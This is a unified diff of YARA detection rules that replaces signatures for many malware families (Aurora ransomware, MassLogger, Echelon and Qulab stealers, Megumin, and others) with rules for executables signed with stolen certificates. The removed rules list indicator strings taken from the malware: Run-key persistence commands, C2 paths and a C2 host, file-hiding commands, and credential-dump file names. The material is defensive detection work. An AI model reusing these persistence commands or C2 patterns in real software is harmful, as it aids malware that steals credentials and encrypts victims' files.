+		logic_hash = "1aa7c6c5430f196d1031acabfe141c30044c23c4119619752c50f4665966606e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.JoeGo"
-
-	strings:
-		$go = "Go build ID:" ascii
-		$s1 = "%SystemRoot%\\system32\\%v." ascii
-		$s2 = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V" ascii
-		$s3 = "/t REG_SZ /F /D %userprofile%\\" ascii
-		$s4 = "(sensitive) [recovered]" ascii
-		$s5 = "/dev/stderr/dev/stdout/index.html" ascii
-		$s6 = "%userprofile%\\SystemApps" ascii
-		$s7 = "p=<br>ACDTACSTAEDTAESTAKDTAKSTAWSTA" ascii
-		$cnc1 = "/detail.php" ascii
-		$cnc2 = "/checkin.php" ascii
-		$cnc3 = "/platebni_brana.php" ascii
-		$cnc4 = "://nebezpecnyweb.eu/" ascii
+		thumbprint = "a279fa4186ef598c5498ba5c0037c7bd4bd57272"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and $go and ( all of ($s*) or (3 of ($s*) and 1 of ($cnc*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fcceaeafbbdccccddfbbb" and pe.signatures[i].serial=="1f:55:ae:3f:ca:38:82:7c:de:6c:c7:ca:1c:0d:27:31")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Aurora : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_008D1Bae9F7Aef1A2Bcc0D392F3Edf3A36 : FILE
 {
 	meta:
-		description = "Aurora ransomware payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d3eafe9c-c8d9-5744-ba5d-4eb0249cceea"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8d1e7615-f462-56eb-9198-30b868572cf1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L849-L869"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3282-L3293"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "056bb11e8b947ef90462503db82b2001e4a5d4847fad9c0d5d771384a80d779a"
+		logic_hash = "6b15f97a51f25b1292cc3fd80889ea1edb01814d1951ef1d3b4cac5e83c7fbca"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" fullword ascii wide
-		$s2 = "#DECRYPT_MY_FILES#.txt" fullword ascii
-		$s3 = "/gen.php?generate=" fullword ascii
-		$s4 = "geoplugin.net/php.gp" ascii
-		$s5 = "/end.php?id=" fullword ascii
-		$s6 = "wotreplay" fullword ascii
-		$s7 = "moneywell" fullword ascii
-		$s8 = "{btc}" fullword ascii
-		$s9 = ".?AV_Locimp@locale@std@@" ascii
-		$s10 = ".?AV?$codecvt@DDU_Mbstatet@@@std@@" ascii
-		$s11 = ".?AU_Crt_new_delete@std@@" ascii
-		$pdb1 = "\\z0ddak\\Desktop\\source\\Release\\Ransom.pdb" ascii
-		$pdb2 = "\\Desktop\\source\\Release\\Ransom.pdb" ascii
+		thumbprint = "5927654acf9c66912ff7b41dab516233d98c9d72"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($pdb*) and 5 of ($s*)) or (8 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Beaffbebfeebbefbeeb" and pe.signatures[i].serial=="00:8d:1b:ae:9f:7a:ef:1a:2b:cc:0d:39:2f:3e:df:3a:36")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Buran : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_239Ba103C2943D2Dff5E3211D6800D09 : FILE
 {
 	meta:
-		description = "Buran ransomware payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1433bac5-2ece-54bb-8e57-b5834fffc719"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "1444a44e-2f45-547f-a5fc-0941edd506bc"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L871-L903"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3295-L3306"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "eaf50d824dbade0ca63fafc5b4a376553039de9b51a0f6387cb28c8f91a7e0b9"
+		logic_hash = "b155ba969334945013af40fbf43b8318a221f6212c4a29e0ee98bc02bb9acafb"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Ransomware.Buran"
-
-	strings:
-		$v1_1 = "U?$error_info_injector@V" ascii
-		$v1_2 = "Browse for Folder (FTP)" fullword ascii
-		$v1_3 = "Find/Replace in Files" fullword ascii
-		$v1_4 = "PAHKLM" fullword ascii
-		$v1_5 = "PAHKCR" fullword ascii
-		$v1_6 = "chkOpt_" ascii
-		$h1 = "Search <a href=\"location\" class=\"menu\">in this folder</a>" ascii
-		$h2 = "<br>to find where the text below" ascii
-		$h3 = "</a> files with these extensions (separate with semi-colons)" ascii
-		$h4 = "Need help with <a href=\"" ascii
-		$path = "\\work\\cr\\nata\\libs\\boost_" wide
-		$v2_1 = "(ShlObj" fullword ascii
-		$v2_2 = "\\StreamUnit" fullword ascii
-		$v2_3 = "TReadme" fullword ascii
-		$v2_4 = "TDrivesAndShares" fullword ascii
-		$v2_5 = "TCustomMemoryStreamD" fullword ascii
-		$v2_6 = "OpenProcessToken" fullword ascii
-		$v2_7 = "UrlMon" fullword ascii
-		$v2_8 = "HttpSendRequestA" fullword ascii
-		$v2_9 = "InternetConnectA" fullword ascii
-		$v2_10 = "FindFiles" fullword ascii
-		$v2_12 = "$*@@@*$@@@$" ascii
+		thumbprint = "d8ea0533af5c180ce1f4d6bc377b736208b3efbb"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((( all of ($v1*) and 1 of ($h*)) or ($path and 2 of ($v1*) and 1 of ($h*)) or 10 of them ) or all of ($v2*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bcafaecbecacbca" and pe.signatures[i].serial=="23:9b:a1:03:c2:94:3d:2d:ff:5e:32:11:d6:80:0d:09")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Masslogger : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_205B80A74A5Dddedea6B84A1E1C44010 : FILE
 {
 	meta:
-		description = "MassLogger keylogger payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "9181b89a-2ce8-59b6-9703-c01a8471b8d6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "43e34fe4-e580-572e-a14e-5ee58b3bf594"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L905-L934"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3308-L3319"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7d8bbefa71a1eb20cd9d029bd516d6c37e39cfa053ed0617eace200d210d9b58"
+		logic_hash = "1af8527193acdbcb3ba0239879c3b23c6ba4e68d920ae4d5ce503d44e32991f7"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "MassLogger v" ascii wide
-		$s2 = "MassLogger Started:" ascii wide
-		$s3 = "MassLogger Process:" ascii wide
-		$s4 = "/panel/upload.php" wide
-		$s5 = "ftp://" wide
-		$s6 = "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}" fullword wide
-		$s7 = "^(.*/)?([^/\\\\.]+/\\\\.\\\\./)(.+)$" fullword wide
-		$s8 = "Bot Killer" ascii
-		$s9 = "Keylogger And Clipboard" ascii
-		$c1 = "costura.ionic.zip.reduced.dll.compressed" fullword ascii
-		$c2 = "CHECKvUNIQUEq" fullword ascii
-		$c3 = "HOOK/MEMORY6" fullword ascii
-		$c4 = "Massfile" ascii wide
-		$c5 = "Fz=[0-9]*'skips*" fullword ascii
-		$c6 = ":=65535zO" fullword ascii
-		$c7 = "!$!%!&!'!(!)!*!.!/!0!4!" fullword ascii
-		$c8 = "5!9!:!<!>!@!E!G!J!K!L!N!O!P!`!" fullword ascii
-		$c9 = "dllToLoad" fullword ascii
-		$c10 = "set_CreateNoWindow" fullword ascii
-		$c11 = "FtpWebRequest" fullword ascii
-		$c12 = "encryptedUsername" fullword ascii
-		$c13 = "encryptedPassword" fullword ascii
+		thumbprint = "1a743595dfaa29cd215ec82a6cd29bb434b709cf"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 9 of ($c*)) or (5 of ($s*) or 9 of ($c*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Befadbffde" and pe.signatures[i].serial=="20:5b:80:a7:4a:5d:dd:ed:ea:6b:84:a1:e1:c4:40:10")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Echelon : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6C8D0Cf4D1593Ee8Dc8D34Be71E90251 : FILE
 {
 	meta:
-		description = "Echelon information stealer payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e13d2003-c755-5dd3-bb16-8e41dd19a151"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "fe5cbea2-1704-550c-bd2e-82defba20f24"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L936-L957"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3321-L3332"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c070bf52cc51dd334ea24614e33eaa2b7b1a17e7790e586cbbb8c7e33ba1bd76"
+		logic_hash = "981e4b426e926bd042f25a50de40d3e3462ed5fec0cf7261523b314b908a1276"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "<GetStealer>b__" ascii
-		$s2 = "clearMac" fullword ascii
-		$s3 = "path2save" fullword ascii
-		$s4 = "Echelon_Size" fullword ascii
-		$s5 = "Echelon Stealer by" wide
-		$s6 = "get__masterPassword" fullword ascii
-		$s7 = "DomainDetect" fullword ascii
-		$s8 = "[^\\u0020-\\u007F]" fullword wide
-		$s9 = "/sendDocument?chat_id=" wide
-		$s10 = "//setting[@name='Password']/value" wide
-		$s11 = "Passwords_Mozilla.txt" fullword wide
-		$s12 = "Passwords_Edge.txt" fullword wide
-		$s13 = "@madcod" ascii wide
-		$pdb = "\\Echelon-Stealer-master\\obj\\Release\\Echelon.pdb" ascii
+		thumbprint = "d481d73bcf1e45db382d0e345f3badde6735d17d"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and (8 of ($s*) or $pdb)) or (8 of ($s*) or $pdb)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dbdbecdbdfafdc" and pe.signatures[i].serial=="6c:8d:0c:f4:d1:59:3e:e8:dc:8d:34:be:71:e9:02:51")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Qulab
+rule DITEKSHEN_INDICATOR_KB_CERT_7D08A74747557D6016Aaaf47A679312F : FILE
 {
 	meta:
-		description = "Qulab information stealer payload or artifacts"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6ae24c67-5700-5330-a3bd-d542162faebb"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "031cf958-1c37-5190-8fbd-6896f1048c9a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L959-L983"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3334-L3345"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "659d828cbef38c6362b612be9bdc05ae820f49c23684e77af6462ea677133284"
+		logic_hash = "ff7c9635b9b43bef7401861d5dbf984d1e2aa1ea9e4d3df9ad348c552767628e"
 		score = 75
 		quality = 75
-		tags = ""
-		clamav_sig = "MALWARE.Win.Trojan.QulabZ-Stealer"
-
-	strings:
-		$x1 = "QULAB CLIPPER + STEALER" ascii wide
-		$x2 = "MASAD CLIPPER + STEALER" ascii wide
-		$x3 = "http://teleg.run/Qulab" ascii wide
-		$x4 = "http://teleg.run/jew_seller" ascii wide
-		$x5 = "BUY CLIPPER + STEALER" ascii wide
-		$s1 = "\\Screen.jpg" ascii wide
-		$s2 = "attrib +s +h \"" ascii wide
-		$s3 = "\\x86_microsoft-windows-" ascii wide
-		$s4 = "\\amd64_microsoft-windows-" ascii wide
-		$s5 = "Desktop TXT File" ascii wide
-		$s6 = "\\AutoFills.txt" ascii wide
-		$s7 = "\\CreditCards.txt" ascii wide
-		$s8 = "a -y -mx9 -ssw" ascii wide
-		$s9 = "\\Passwords.txt" ascii wide
-		$s10 = "\\Information.txt" ascii wide
-		$s11 = "\\getMe" ascii wide
+		tags = "FILE"
+		thumbprint = "d7fdad88c626b8e6d076f3f414bbae353f444618"
+		importance = 20
 
 	condition:
-		9 of them or ((1 of ($x*) and 4 of ($s*)) or 1 of ($x*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Abfacfbdcd" and pe.signatures[i].serial=="7d:08:a7:47:47:55:7d:60:16:aa:af:47:a6:79:31:2f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Orion : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2095C6F1Eadb65Ce02862Bd620623B92 : FILE
 {
 	meta:
-		description = "Orion Keylogger payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b380b93b-6ceb-5244-aeca-b1f8f9a5b553"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "c44d8942-569b-50c6-8363-0576c7d54dfb"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L985-L1005"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3347-L3358"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9e5521ebaf9bdef6dadd2a2a093bd6f87ded023d9a74db126ac8ec9a5f1f9744"
+		logic_hash = "0b75d8c59486d197f2cdff298114a7367bb6ad4cf71ee28273e0946e42d3f7e8"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\Ranger.BrowserLogging" ascii wide nocase
-		$s2 = "GrabAccounts" fullword ascii
-		$s3 = "DownloadFile" fullword ascii
-		$s4 = "Internet Explorer Recovery" wide
-		$s5 = "Outlook Recovery" wide
-		$s6 = "Thunderbird Recovery" wide
-		$s7 = "Keylogs -" wide
-		$s8 = "WebCam_Capture.dll" wide
-		$s9 = " is not installed on this computer!" wide
-		$s10 = "cmd /c bfsvc.exe \"" wide
-		$s11 = "/Keylogs - PC:" fullword wide
-		$s12 = "/PC:" fullword wide
-		$s13 = "<p style=\"color:#CC7A00\">[" wide
+		thumbprint = "940a4d4a5aadef70d8c14caac6f11d653e71800f"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 5 of ($s*)) or (6 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Febeecad" and pe.signatures[i].serial=="20:95:c6:f1:ea:db:65:ce:02:86:2b:d6:20:62:3b:92")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Aspire : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_899E32C9Bf2B533B9275C39F8F9Ff96D : FILE
 {
 	meta:
-		description = "Aspire Keylogger payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "25724975-f373-553e-b27e-43168e956c16"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "62ecae58-7576-5170-8eb5-2becd292e5de"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1007-L1022"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3373-L3384"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3ea0136dbacb79e4c7556f562d17b26b84ac3e4c967b117021e2399ded0a0fdf"
+		logic_hash = "c5fe3726fd19d050e762cc9e4e2099e74e3780c89a75dab55c12e16bfecd8642"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "AspireLogger -" wide
-		$s2 = "Application: @" wide
-		$s3 = "encryptedUsername" wide
-		$s4 = "encryptedPassword" wide
-		$s5 = "Fetch users fron logins" wide
-		$s6 = "URI=file:" wide
-		$s7 = "signons.sqlite" wide
-		$s8 = "logins.json" wide
+		thumbprint = "329af76d7c84a90f2117893adc255115c3c961c7"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and 6 of ($s*)) or (7 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eecaaffcbfdffaedcfec" and pe.signatures[i].serial=="89:9e:32:c9:bf:2b:53:3b:92:75:c3:9f:8f:9f:f9:6d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_S05Kitty : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0B5759Bc22Ad2128B8792E8535F9161E : FILE
 {
 	meta:
-		description = "Sector05 Kitty RAT payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3261f6b6-21e7-5195-98db-9607ba530572"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "c35c4e07-73d9-54d6-a8cb-1558502a82e9"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1024-L1045"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3386-L3397"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "df2930694671c9ca16f2afeb799704647c9acf32be118706c342347ffe8ceb36"
+		logic_hash = "1ee543c204e5bf004224a2010f8cfd3196bb9c1e96de350548403224eaa502f6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Execute Comand" ascii
-		$s2 = "InjectExplorer" ascii
-		$s3 = "targetProcess = %s" fullword ascii
-		$s4 = "Process attach (%s)" fullword ascii
-		$s5 = "process name: %s" fullword ascii
-		$s6 = "cmd /c %s >%s" fullword ascii
-		$s7 = "CmdDown: %s, failed" fullword ascii
-		$s8 = "http://%s%s/%s" fullword ascii
-		$s9 = "tmp.LOG" fullword ascii
-		$x1 = "zerodll.dll" fullword ascii
-		$x2 = "OneDll.dll" fullword ascii
-		$x3 = "kkd.bat" fullword ascii
-		$x4 = "%s\\regsvr32.exe /s \"%s\"" fullword ascii
-		$x5 = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fontchk.jse" fullword ascii
+		thumbprint = "ddfd6a93a8d33f0797d5fdfdb9abf2b66e64350a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (8 of ($s*) or all of ($x*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ceeacfeacafdcdffabdbbacf" and pe.signatures[i].serial=="0b:57:59:bc:22:ad:21:28:b8:79:2e:85:35:f9:16:1e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Fakewmi : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_630Cf0E612F12805Ffa00A41D1032D7C : FILE
 {
 	meta:
-		description = "FakeWMI payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "689bc207-2bc6-50de-80d6-d1ba0a26b264"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "1c3e2b33-24e5-584c-b375-96c1e653a3ca"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1047-L1064"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3399-L3410"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "627886cdd01f5f02e454ef284c77c87eb027ee33f6a51536758fb7f095271a40"
+		logic_hash = "2256858ae75c47568fc6a38e2a587d302d99dd396dd398a450eaa6459ed55d13"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Fakewmi"
-
-	strings:
-		$s1 = "-BEGIN RSA PUBLIC KEY-" ascii
-		$s2 = ".exe|" ascii
-		$s3 = "cmd /c wmic " ascii
-		$s4 = "cmd /c sc " ascii
-		$s5 = "schtasks" ascii
-		$s6 = "taskkill" ascii
-		$s7 = "findstr" ascii
-		$s8 = "netsh interface" ascii
-		$s9 = "CreateService" ascii
+		thumbprint = "107af72db66ec4005ed432e4150a0b6f5a9daf2d"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) and #s2>10)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dadebfaca" and pe.signatures[i].serial=="63:0c:f0:e6:12:f1:28:05:ff:a0:0a:41:d1:03:2d:7c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Baldr : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_603Bce30597089D068320Fc77E400D06 : FILE
 {
 	meta:
-		description = "Baldr payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cdc35a11-a97b-5e21-929e-01fed5172b55"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0f2a2411-f3d4-5959-8470-d7424d714c1d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1066-L1083"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3412-L3423"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f8e97fd618209bc6ce609b60b1e1f1e359be7678474fad3b18a529487c64cd99"
+		logic_hash = "1e13c78cec21a015d9593b492ce5040f93247be63c079bfece96a3a74055aeba"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Baldr"
-
-	strings:
-		$x1 = "BALDR VERSION : {0}" fullword wide
-		$x2 = "Baldr" fullword ascii wide
-		$x3 = "{0}\\{1:n}.exe" fullword wide
-		$x4 = ".doc;.docx;.log;.txt;" fullword wide
-		$s1 = "<GetMAC>b__" ascii
-		$s2 = "<ExtractPrivateKey3>b__" ascii
-		$s3 = "UploadData" fullword ascii
-		$s6 = "get_NetworkInterfaceType" fullword ascii
-		$s5 = "get_Passwordcheck" fullword ascii
+		thumbprint = "4ddda7e006afb108417627f8f22a6fa416e3f264"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and all of ($x*)) or (2 of ($x*) and 4 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Fcaddefffedacfc" and pe.signatures[i].serial=="60:3b:ce:30:59:70:89:d0:68:32:0f:c7:7e:40:0d:06")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Megumin : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5D5D03Edb4Ec4E185Caa3041824Ab75C : FILE
 {
 	meta:
-		description = "Megumin payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "bb1743f7-0bd8-5c0a-ad78-c4747904204f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e1c93911-5c7c-5fe8-aed3-014a9bb7379e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1085-L1108"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3425-L3436"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fb4934814c45d2465b6e1589c3b489116343ca0c17ebb916b5c9247fc676c74d"
+		logic_hash = "863a1496ce37449fa7e94c407ce0e63a9d727fef9094135715d0cb14ed442e5e"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Megumin"
-
-	strings:
-		$s1 = "loadpe|" fullword ascii
-		$s2 = "Megumin/2.0" fullword ascii
-		$s3 = "/c start /I \"\" \"" fullword ascii
-		$s4 = "jsbypass|" fullword ascii
-		$cnc1 = "Mozilla/5.0 (Windows NT 6.1) Megumin/2.0" fullword ascii
-		$cnc2 = "/cdn-cgi/l/chk_jschl?s=" fullword ascii
-		$cnc3 = "/newclip?hwid=" fullword ascii
-		$cnc4 = "/isClipper" fullword ascii
-		$cnc5 = "/task?hwid=" fullword ascii
-		$cnc6 = "/completed?hwid=" fullword ascii
-		$cnc7 = "/gate?hwid=" fullword ascii
-		$cnc8 = "/addbot?hwid=" fullword ascii
-		$pdb = "\\MeguminV2\\Release\\MeguminV2.pdb" ascii
+		thumbprint = "f6c9c564badc1bbd8a804c5e20ab1a0eff89d4c0"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and ( all of ($s*) or 5 of ($cnc*) or $pdb)) or 11 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ffcdcbacfeaedbfbcecccafeb" and pe.signatures[i].serial=="5d:5d:03:ed:b4:ec:4e:18:5c:aa:30:41:82:4a:b7:5c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Rietspoof : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Aec009984Fa957F3F48Fe3104Ca9Babc : FILE
 {
 	meta:
-		description = "Rietspoof payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b2d94705-ca59-56ae-8471-2c6895d355dc"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "76b5d6b6-f443-55b5-b353-88201fe09e1f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1110-L1140"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3438-L3449"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d1d9baab83c904d1e8dcd7aeacdabfc79c1acee67006793c2240a42ebf9c62b2"
